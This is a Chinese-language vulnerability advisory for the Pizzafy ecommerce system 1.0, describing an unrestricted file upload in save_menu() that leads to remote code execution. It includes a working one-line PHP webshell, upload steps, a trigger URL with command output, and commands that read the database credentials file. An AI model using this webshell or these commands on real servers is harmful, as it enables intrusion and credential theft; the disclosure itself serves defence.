| 字段 | 值 |
|---|---|
| 厂商 | SourceCodester |
| 厂商 URL | https://www.sourcecodester.com |
| 产品 | 使用 PHP 和 MySQL 的 Pizzafy 电子商务系统 |
| 产品 URL | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| 版本 | 1.0 |
| 漏洞类型 | 无限制文件上传 → 远程代码执行 |
| CWE | CWE-434 |
| CVSSv3 评分 | 7.8(高) |
| 攻击向量 | 网络 |
| 所需认证 | 是(管理员) |
| 用户交互 | 无 |
| 研究人员 | Imad Alvi |
| 日期 | 2026-04-12 |
文件: Pizzafy/admin/admin_class_novo.php → save_menu() 函数
参数: img(FILE)
上传路径: Pizzafy/assets/img/
Pizzafy 电子商务系统 1.0 中的 save_menu() 函数处理菜单项图片上传时未执行任何文件类型验证。应用程序使用 pathinfo() 获取文件扩展名,但在将上传文件移动到 Web 可访问的 assets/img/ 目录之前,从未实际检查或限制允许的文件类型。经过身份验证的管理员可以上传伪装成菜单图片的 PHP WebShell,然后通过浏览器直接访问它,从而在服务器上实现远程代码执行。
admin_class_novo.php 中的漏洞代码:
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
创建一个名为 shell_web2.php 的文件,内容如下:
<?php echo shell_exec($_GET['cmd']); ?>
以管理员身份登录并访问:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
在菜单表单中填写任意有效值,并选择 shell_web2.php 作为图片文件。点击 保存。
该 WebShell 现在作为菜单项显示在面向客户的页面上。
访问 assets 目录——目录列表已启用(CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
上传的 PHP WebShell 在目录列表中可见。
直接访问已上传的 WebShell,并通过 cmd 参数传递系统命令:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
响应 — 在服务器上执行的系统命令:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
经过身份验证的管理员可以:
assets/img/ 目录启用了目录列表功能,允许未认证用户浏览所有上传的文件,包括 WebShell。这加剧了文件上传漏洞的严重性。